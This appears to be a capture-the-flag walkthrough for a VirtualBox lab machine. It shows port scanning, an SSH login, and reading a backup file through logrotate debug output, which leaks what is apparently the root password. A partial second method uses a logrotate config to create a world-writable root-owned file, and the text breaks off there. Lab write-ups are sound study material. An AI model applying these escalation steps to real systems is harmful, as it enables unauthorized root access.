❯ sudo arp-scan -l [sudo] password for Pepster: Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.60.1 00:50:56:c0:00:08 VMware, Inc. 192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc. 192.168.60.161 08:00:27:49:53:be PCS Systemtechnik GmbH 192.168.60.254 00:50:56:e0:e5:17 VMware, Inc.
9 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.122 seconds (120.64 hosts/sec). 4 responded ❯ export ip=192.168.60.161 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- TreadStone was here 🚀 [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.161:22 Open 192.168.60.161:80 Open 192.168.60.161:1883 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-27 13:48 CST Initiating ARP Ping Scan at 13:48 Scanning 192.168.60.161 [1 port] Completed ARP Ping Scan at 13:48, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:48 Completed Parallel DNS resolution of 1 host. at 13:48, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 13:48 Scanning 192.168.60.161 [3 ports] Discovered open port 22/tcp on 192.168.60.161 Discovered open port 1883/tcp on 192.168.60.161 Discovered open port 80/tcp on 192.168.60.161 Completed SYN Stealth Scan at 13:48, 0.04s elapsed (3 total ports) Nmap scan report for 192.168.60.161 Host is up, received arp-response (0.00042s latency). Scanned at 2025-04-27 13:48:08 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 1883/tcp open mqtt syn-ack ttl 64 MAC Address: 08:00:27:49:53:BE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds Raw packets sent: 4 (160B) | Rcvd: 4 (160B)
❯ ssh welcome@$ip [email protected]'s password: Linux LingMj 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Apr 26 20:25:47 2025 from 192.168.60.100 welcome@LingMj:~$ cat user.txt flag{user-userflaghere}
welcome@LingMj:~$ /usr/sbin/logrotate -d /var/backups/root.bak WARNING: logrotate in debug mode does nothing except printing debug messages! Consider using verbose mode (-v) instead if this is not what you want.
reading config file /var/backups/root.bak error: /var/backups/root.bak:1 unknown option 'naughtykid' -- ignoring line Reading state from file: /var/lib/logrotate/status Allocating hash table for state file, size 64 entries
尝试切换一下用户
1 2 3 4 5 6
welcome@LingMj:~$ su root Password: root@LingMj:/home/welcome# id uid=0(root) gid=0(root) groups=0(root) root@LingMj:/home/welcome# cat /root/root.txt flag{root-rootflagalsohere}
Method 2
你可以利用logrotate来生成属于root用户的文件
1 2 3 4 5 6 7 8 9 10
welcome@LingMj:/tmp$ echo"This is a test log line" > /tmp/111.log welcome@LingMj:/tmp$ for i in {1..1000}; doecho"Log entry $i" >> /tmp/111.log; done welcome@LingMj:/tmp$ cat logrotate.conf /tmp/111.log { size 1k rotate 2 create 0777 root root missingok notifempty }
